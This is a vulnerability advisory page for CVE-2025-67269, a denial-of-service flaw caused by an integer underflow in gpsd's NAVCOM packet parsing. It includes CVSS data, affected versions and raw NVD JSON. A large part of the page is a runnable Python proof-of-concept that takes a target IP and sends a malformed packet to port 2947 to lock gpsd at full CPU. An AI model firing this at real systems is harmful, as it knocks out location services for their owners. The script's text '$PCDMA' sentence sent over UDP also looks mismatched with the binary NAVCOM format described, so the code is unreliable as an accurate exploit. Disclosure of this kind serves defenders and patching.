Security Vulnerability Report
中文
CVE-2025-67269 CVSS 7.5 HIGH

CVE-2025-67269

Published: 2026-01-02 16:17:01
Last Modified: 2026-01-09 22:07:39

Description

An integer underflow vulnerability exists in the `nextstate()` function in `gpsd/packet.c` of gpsd versions prior to commit `ffa1d6f40bca0b035fc7f5e563160ebb67199da7`. When parsing a NAVCOM packet, the payload length is calculated using `lexer->length = (size_t)c - 4` without checking if the input byte `c` is less than 4. This results in an unsigned integer underflow, setting `lexer->length` to a very large value (near `SIZE_MAX`). The parser then enters a loop attempting to consume this massive number of bytes, causing 100% CPU utilization and a Denial of Service (DoS) condition.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpsd_project:gpsd:*:*:*:*:*:*:*:* - VULNERABLE
gpsd < commit ffa1d6f40bca0b035fc7f5e563160ebb67199da7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-67269 PoC - gpsd Integer Underflow DoS This PoC demonstrates the integer underflow vulnerability in gpsd's nextstate() function. When parsing NAVCOM packets with payload length byte < 4, it causes integer underflow. """ import socket import struct def send_malicious_navcom_packet(target_ip, target_port=2947): """ Send a malformed NAVCOM packet to trigger integer underflow in gpsd. The vulnerability occurs when parsing NAVCOM packets: - gpsd calculates: lexer->length = (size_t)c - 4 - If c < 4, unsigned integer underflow occurs - lexer->length becomes ~SIZE_MAX, causing infinite loop """ # NAVCOM packet structure for gpsd # Format: $PCDMA,length_byte,...*checksum\r\n # Trigger condition: length_byte must be < 4 to cause underflow malicious_length = 1 # This triggers: 1 - 4 = underflow (becomes huge value) # Build NAVCOM packet payload = f"$PCDMA,{malicious_length}" checksum = 0 for b in payload[1:]: # Exclude leading $ checksum ^= ord(b) packet = f"{payload}*{checksum:02X}\r\n" print(f"[*] Sending malicious NAVCOM packet to {target_ip}:{target_port}") print(f"[*] Packet: {packet.strip()}") print(f"[*] Payload length byte: {malicious_length} (will underflow: {malicious_length} - 4)") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet.encode(), (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[+] Target gpsd should now enter infinite loop (100% CPU)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port=2947]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2947 send_malicious_navcom_packet(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67269", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:17:01.100", "lastModified": "2026-01-09T22:07:39.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer underflow vulnerability exists in the `nextstate()` function in `gpsd/packet.c` of gpsd versions prior to commit `ffa1d6f40bca0b035fc7f5e563160ebb67199da7`. When parsing a NAVCOM packet, the payload length is calculated using `lexer->length = (size_t)c - 4` without checking if the input byte `c` is less than 4. This results in an unsigned integer underflow, setting `lexer->length` to a very large value (near `SIZE_MAX`). The parser then enters a loop attempting to consume this massive number of bytes, causing 100% CPU utilization and a Denial of Service (DoS) condition."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpsd_project:gpsd:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.27.1", "matchCriteriaId": "8CBC8583-D71F-4E6F-AB7D-51A3C15270B9"}]}]}], "references": [{"url": "https://github.com/Jaenact/gspd_cve/blob/main/CVE-2025-67269/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gitlab.com/gpsd/gpsd", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/gpsd/gpsd/-/commit/ffa1d6f40bca0b035fc7f5e563160ebb67199da7", "source": "[email protected]", "tags": ["Patch"]}]}}